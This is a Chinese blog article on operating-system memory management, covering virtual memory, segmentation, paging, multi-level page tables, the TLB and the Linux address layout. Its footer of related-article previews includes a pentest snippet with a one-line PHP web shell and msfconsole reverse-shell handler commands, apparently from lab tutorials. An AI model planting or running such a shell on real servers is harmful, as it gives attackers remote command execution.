操作系统中的内存管理

虚拟内存

在这里插入图片描述

操作系统会提供一种机制,将不同进程的虚拟地址和不同内存的物理地址映射起来。如果程序要访问虚拟地址的时候,由操作系统转换成不同的物理地址,这样不同的进程运行的时候,写入的是不同的物理地址,这样就不会冲突了。

于是,这里就引出了两种地址的概念:

  • 我们程序所使用的内存地址叫做虚拟内存地址。

  • 实际存在硬件里面的空间地址叫物理内存地址。

操作系统引入了虚拟内存,进程持有的虚拟地址会通过 CPU 芯片中的内存管理单元(MMU)的映射关系,来转换变成物理地址,然后再通过物理地址访问内存,如下图所示:

在这里插入图片描述

操作系统是如何管理虚拟地址与物理地址之间的关系?

主要有两种方式,分别是内存分段内存分页

内存分段

程序是由若干个逻辑分段组成的,如可由代码分段、数据分段、栈段、堆段组成。不同的段是有不同的属性的,所以就用分段的形式把这些段分离出来。

分段机制下,虚拟地址和物理地址是如何映射的?

分段机制下的虚拟地址由两部分组成,段选择因子和段内偏移量。

在这里插入图片描述

  • 段选择因子就保存在段寄存器里面。段选择因子里面最重要的是段号,用作段表的索引。段表里面保存的是这个段的基地址、段的界限和特权等级等。

  • 虚拟地址中的段内偏移量应该位于 0 和段界限之间,如果段内偏移量是合法的,就将段基地址加上段内偏移量得到物理内存地址

分段机制会把程序的虚拟地址分成 4 个段,每个段在段表中有一个项,在这一项找到段的基地址,再加上偏移量,于是就能找到物理内存中的地址,如下图:

在这里插入图片描述

分段机制的缺陷

  • 第一个就是内存碎片的问题。

  • 第二个就是内存交换的效率低的问题。

为什么会有内存碎片的问题?

假设有 1G 的物理内存,用户执行了多个程序,其中:游戏占用了 512MB 内存,浏览器占用了 128MB 内存,音乐占用了 256 MB 内存。这个时候,如果我们关闭了浏览器,则空闲内存还有 1024 - 512 - 256 = 256MB。如果这个 256MB 不是连续的,被分成了两段 128 MB 内存,这就会导致没有空间再打开一个 200MB 的程序。

内存碎片的问题共有两处地方:

  • 外部内存碎片,也就是产生了多个不连续的小物理内存,导致新的程序无法被装载。

  • 内部内存碎片,程序所有的内存都被装载到了物理内存,但是这个程序有部分的内存可能并不是很常使用,这也会导致内存的浪费。

解决方式

内存交换

可以把音乐程序占用的那 256MB 内存写到硬盘上,然后再从硬盘上读回来到内存里。不过再读回的时候,我们不能装载回原来的位置,而是紧紧跟着那已经被占用了的 512MB 内存后面。这样就能空缺出连续的 256MB 空间,于是新的 200MB 程序就可以装载进来。

这个内存交换空间,在 Linux 系统里,也就是我们常看到的 Swap 空间,这块空间是从硬盘划分出来的,用于内存与硬盘的空间交换。

分段为什么会导致内存交换的效率低?

对于多进程的系统来说,用分段的方式,内存碎片是很容易产生的,产生了内存碎片,那不得不重新 Swap 内存区域,这个过程会产生性能瓶颈。

因为硬盘的访问速度要比内存慢太多了,每一次内存交换,我们都需要把一大段连续的内存数据写到硬盘上。

所以,如果内存交换的时候,交换的是一个占内存空间很大的程序,这样整个机器都会显得卡顿。

因此就有了内存分页机制。

内存分页

分段的好处就是能产生连续的内存空间,但是会出现内存碎片和内存交换的空间太大的问题。

分页是把整个虚拟和物理内存空间切成一段段固定尺寸的大小。这样一个连续并且尺寸固定的内存空间,我们叫页。

在 Linux 下,每一页的大小为 4KB。虚拟地址与物理地址之间通过页表来映射。

在这里插入图片描述

页表实际上存储在内存中,于是 CPU 可以直接通过 MMU,找出要实际要访问的物理内存地址。

而当进程访问的虚拟地址在页表中查不到时,系统会产生一个缺页异常,进入系统内核空间分配物理内存、更新进程页表,最后再返回用户空间,恢复进程的运行。

分页是怎么解决分段的内存碎片、内存交换效率低的问题?

由于内存空间都是预先划分好的,也就不会像分段会产生间隙非常小的内存,这正是分段会产生内存碎片的原因。

而采用了分页,那么释放的内存都是以页为单位释放的,也就不会产生无法给进程使用的小内存。

如果内存空间不够,操作系统会把其他正在运行的进程中的「最近没被使用」的内存页面给释放掉,也就是暂时写在硬盘上,称为换出。一旦需要的时候,再加载进来,称为换入。

所以,一次性写入磁盘的也只有少数的一个页或者几个页,不会花太多时间,内存交换的效率就相对比较高。

分页的方式使得我们在加载程序的时候,不再需要一次性都把程序加载到物理内存中。我们完全可以在进行虚拟内存和物理内存的页之间的映射之后,并不真的把页加载到物理内存里,而是只有在程序运行中,需要用到对应虚拟内存页里面的指令和数据时,再加载到物理内存里面去

分页机制下,虚拟地址和物理地址是如何映射的?

在分页机制下,虚拟地址分为两部分,页号和页内偏移。

页号作为页表的索引,页表包含物理页每页所在物理内存的基地址,这个基地址与页内偏移的组合就形成了物理内存地址。

在这里插入图片描述

  • 把虚拟内存地址,切分成页号和偏移量。

  • 根据页号,从页表里面,查询对应的物理页号。

  • 直接拿物理页号,加上前面的偏移量,就得到了物理内存地址。

这种简单的分页有什么缺陷呢?

有空间上的缺陷。

因为操作系统是可以同时运行非常多的进程的,那这不就意味着页表会非常的庞大。在 32 位的环境下,虚拟地址空间共有 4GB,假设一个页的大小是 4KB(2^12),那么就需要大约 100 万 (2^20) 个页,每个「页表项」需要 4 个字节大小来存储,那么整个 4GB 空间的映射就需要有 4MB 的内存来存储页表。这 4MB 大小的页表,看起来也不是很大。但是要知道每个进程都是有自己的虚拟地址空间的,也就说都有自己的页表。

那么,100 个进程的话,就需要 400MB 的内存来存储页表,这是非常大的内存了,更别说 64 位的环境了。

多级页表

对于单页表的实现方式,在 32 位和页大小 4KB 的环境下,一个进程的页表需要装下 100 多万个「页表项」,并且每个页表项是占用 4 字节大小的,于是相当于每个页表需占用 4MB 大小的空间。

现在把这个 100 多万个「页表项」的单级页表再分页,将页表(一级页表)分为 1024 个页表(二级页表),每个表(二级页表)中包含 1024 个「页表项」,形成二级分页。

在这里插入图片描述

分了二级表,映射 4GB 地址空间就需要 4KB(一级页表)+ 4MB(二级页表)的内存,这样占用空间不是更大了吗?

如果使用了二级分页,一级页表就可以覆盖整个 4GB 虚拟地址空间,但如果某个一级页表的页表项没有被用到,也就不需要创建这个页表项对应的二级页表了,即可以在需要时才创建二级页表。

做个简单的计算,假设只有 20% 的一级页表项被用到了,那么页表占用的内存空间就只有 4KB(一级页表) + 20% * 4MB(二级页表)= 0.804MB。

页表一定要覆盖全部虚拟地址空间,不分级的页表就需要有 100 多万个页表项来映射,而二级分页则只需要 1024 个页表项(此时一级页表覆盖到了全部虚拟地址空间,二级页表在需要时创建)

对于64位的系统,二级分页肯定是不行的,一般采用的都是四级分页:

  • 全局页目录项 PGD

  • 上层页目录项 PUD

  • 中间页目录项 PMD

  • 页表项 PTE

TLB

多级页表虽然解决了空间上的问题,但是虚拟地址到物理地址的转换就多了几道转换的工序,这显然就降低了这俩地址转换的速度,也就是带来了时间上的开销。

程序是有局部性的,即在一段时间内,整个程序的执行仅限于程序中的某一部分。相应地,执行所访问的存储空间也局限于某个内存区域。

在这里插入图片描述

在 CPU 芯片里面,封装了内存管理单元芯片,它用来完成地址转换和 TLB 的访问与交互。有了 TLB 后,那么 CPU 在寻址时,会先查 TLB,如果没找到,才会继续查常规的页表。

段页式内存管理

什么是段页式内存管理?

内存分段和内存分页并不是对立的,它们是可以组合起来在同一个系统中使用的,那么组合起来后,通常称为段页式内存管理。

段页式内存管理实现的方式是什么?

段页式内存管理实现的方式:

  • 先将程序划分为多个有逻辑意义的段,也就是前面提到的分段机制;

  • 接着再把每个段划分为多个页,也就是对分段划分出来的连续空间,再划分固定大小的页;

  • 这样,地址结构就由段号、段内页号和页内位移三部分组成。

在这里插入图片描述

段页式地址变换中要得到物理地址须经过三次内存访问:

  • 第一次访问段表,得到页表起始地址;

  • 第二次访问页表,得到物理页号;

  • 第三次将物理页号与页内位移组合,得到物理地址。

可用软、硬件相结合的方法实现段页式地址变换,这样虽然增加了硬件成本和系统开销,但提高了内存的利用率

Linux内存管理

什么是逻辑地址和线性地址?

逻辑地址和线性地址:

  • 程序所使用的地址,通常是没被段式内存管理映射的地址,称为逻辑地址。

  • 通过段式内存管理映射的地址,称为线性地址,也叫虚拟地址。

  • 逻辑地址是「段式内存管理」转换前的地址,线性地址则是「页式内存管理」转换前的地址。

Linux 采用什么方式去管理内存?

Linux 内存主要采用的是页式内存管理,但同时也不可避免地涉及了段机制。

Linux 系统中的每个段都是从 0 地址开始的整个 4GB 虚拟空间(32 位环境下),也就是所有的段的起始地址都是一样的。这意味着,Linux 系统中的代码,包括操作系统本身的代码和应用程序代码,所面对的地址空间都是线性地址空间(虚拟地址),这种做法相当于屏蔽了处理器中的逻辑地址概念,段只被用于访问控制和内存保护。

Linux 的虚拟地址空间是如何分布的?

在 Linux 操作系统中,虚拟地址空间的内部又被分为内核空间和用户空间两部分,不同位数的系统,地址空间的范围也不同。

在这里插入图片描述

  • 32 位系统的内核空间占用 1G,位于最高处,剩下的 3G 是用户空间;

  • 64 位系统的内核空间和用户空间都是 128T,分别占据整个内存空间的最高和最低处,剩下的中间部分是未定义的。

内核空间和用户空间有什么区别?

  • 进程在用户态时,只能访问用户空间内存。

  • 只有进入内核态后,才可以访问内核空间的内存。

虽然每个进程都各自有独立的虚拟内存,但是每个虚拟内存中的内核地址,其实关联的都是相同的物理内存。这样,进程切换到内核态后,就可以很方便地访问内核空间内存。

在这里插入图片描述

用户空间是如何分布的?

在这里插入图片描述

  • 程序文件段:包括二进制可执行代码;已初始化数据段,包括静态常量

  • 未初始化数据段:包括未初始化的静态变量

  • 堆段:包括动态分配的内存,从低地址开始向上增长。

  • 文件映射段:包括动态库、共享内存等,从低地址开始向上增长(跟硬件和内核版本有关)。

  • 栈段:包括局部变量和函数调用的上下文等。栈的大小是固定的,一般是 8 MB。当然系统也提供了参数,以便我们自定义大小。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/19166.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 技能提升(一)

python注释规范 # Add commit for you codes. # The proper addition of comments is so beautiful.from abc import abstractmethoddef add(a: int, b: int) -> int:# You can write some necessary notes here.# Such as the role of functions, the types and roles of …

Slurm集群使用基础

Introduction 我们在做生物信息分析时,对于大规模的上游数据的处理,一般需要在大型服务器或集群上进行。我最早接触并使用的是一个基于SLURM调度系统的集群,在此记录一下基础使用方法。 高性能计算集群(High-Performance Comput…

React 使用JSX或者TSX渲染页面

02 Rendering with JSX Your first JSX content In this section, we’ll implement the obligatory " Hello, World " JSX application. At this point, we’re just dipping our toes in the water; more in-depth examples will follow. We’ll also discuss wh…

vs code中编写c++基本使用以及问题总结

vs code基本使用以及总结 launch.json作用 这个文件配置了调试器的设置,允许你定义如何启动和调试你的程序。这包括配置执行路径、传递给程序的参数、环境变量以及特定语言或框架的调试器选项。 常用配置 "version": "0.2.0": 这是配置文件…

kotlin基础之协程

Kotlin协程(Coroutines)是Kotlin提供的一种轻量级的线程模型,它允许我们以非阻塞的方式编写异步代码,而无需使用回调、线程或复杂的并发API。协程是一种用户态的轻量级线程,它可以在需要时挂起和恢复,从而有…

安卓中的图片压缩

安卓中如何进行图片压缩? 在安卓中进行图片压缩通常有以下几种方法: 质量压缩: 通过降低图片的质量来减小文件大小。这可以通过Bitmap的compress()方法实现,其中可以设置压缩质量(0-100)。 ByteArrayOutputStream baos…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

渗透测试工具Cobalt strike-2.CS基础使用

三、结合metasploit,反弹shell 在kali中开启使用命令开启metasploit msfconsole ┌──(root㉿oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

[10] CUDA程序性能的提升 与 流

CUDA程序性能的提升 与 流 1. CUDA程序性能的提升 在本节中,我们会看到用来遵循的基本的一些性能来提升准则,我们会逐一解释它们1.1 使用适当的块数量和线程数量 研究表明,如果块的数量是 GPU 的流多处理器数量的两倍,则会给出最佳性能,不过,块和线程的数量与具体的算法…

什么是访问控制漏洞

什么是AC Bugs&#xff1f; 实验室 Vertical privilege escalation 仅通过隐藏目录/判断参数来权限控制是不安全的&#xff08;爆破url/爬虫/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 访问robots.txt 得到隐藏目录&#xff0c;访问目录 &#xff0c;…

基于Visual Studio版本的AI编程助手

Visual Studio 是一个出色的 IDE,可用于构建适用于 Windows、Mac、Linux、iOS 和 Android 的丰富、精美的跨平台应用程序。 使用一系列技术(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)构建丰富。 1、安装 点击上方工具栏拓展选项,选择管理拓展选项 接着在联机页面中搜索&q…

基于51单片机的室内空气质量检测-仿真设计

本设计是基于单片机的空气质量检测设计&#xff0c;主要实现以下功能&#xff1a; 可实现通过SGP30测量二氧化碳及甲醛浓度&#xff0c;当超过设置的最大值时&#xff0c;进行报警及通风和净化空气处理 可实现通过MQ-4测量甲烷浓度&#xff0c;当超过设置的最大值时&#xff0…

压力测试JMeter

压力测试JMeter 1 下载JMeter1.1 测试计划1.2 JMeter Address Already in use 错误解决1.3 java 内存模型1.4 jconsole与jvisualvm1.5 优化方向1.6 Nginx动静分离 1 下载JMeter 官网地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 运行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 关注“少安事务所”公众号&#xff0c;欢迎⭐收藏&#xff0c;不错过精彩内容~ 前倾回顾 前面介绍了“光环”数据库的基本情况和安装办法。 哈喽&#xff0c;国产数据库&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安装指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代码随想录训练营Day 43|力扣343. 整数拆分、96.不同的二叉搜索树

1.整数拆分 代码随想录 视频讲解&#xff1a;动态规划&#xff0c;本题关键在于理解递推公式&#xff01;| LeetCode&#xff1a;343. 整数拆分_哔哩哔哩_bilibili 代码&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分数字i所获得的最大乘积为d…

景源畅信:抖音小店如何开橱窗?

在当今数字化时代&#xff0c;社交媒体平台不仅仅是人们交流和分享生活的工具&#xff0c;更成为了商家们展示和销售产品的重要场所。抖音作为一款流行的短视频社交应用&#xff0c;其内置的电商功能——抖音小店&#xff0c;为众多商家和个人提供了便捷的在线销售途径。其中&a…

使用NuScenes数据集生成ROS Bag文件:深度学习与机器人操作的桥梁

在自动驾驶、机器人导航及环境感知的研究中&#xff0c;高质量的数据集是推动算法发展的关键。NuScenes数据集作为一项开源的多模态自动驾驶数据集&#xff0c;提供了丰富的雷达、激光雷达&#xff08;LiDAR&#xff09;、摄像头等多种传感器数据&#xff0c;是进行多传感器融合…

Go语言 gRPC 简述

参考文章 grpc-我们为什么要用gRpc&#xff1f;gRpc快在哪里&#xff1f;_grpc 优点-CSDN博客 GRPC详解-CSDN博客 1. 什么是gRPC gRPC 是一个高性能 远程调用(RPC)框架&#xff0c;屏蔽分布式计算中的各种调用细节&#xff0c;可以像本地调用一样调用远程的函数。 2. 为什么要…

jmeter多用户并发登录教程

有时候为了模拟更真实的场景&#xff0c;在项目中需要多用户登录操作&#xff0c;大致参考如下 jmx脚本&#xff1a;百度网盘链接 提取码&#xff1a;0000 一&#xff1a; 单用户登录 先使用1个用户登录&#xff08;先把1个请求调试通过&#xff09; 发送一个登录请求&…

贪心(临项交换)+01背包,蓝桥云课 搬砖

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 0搬砖 - 蓝桥云课 (lanqiao.cn) 二、解题报告 1、思路分析 将物品按照w[i] v[i]升序排序然后跑01背包就是答案 下面证明&#xff1a;&#xff08;不要问怎么想到的&#xff0c;做题多了就能想到&#xff…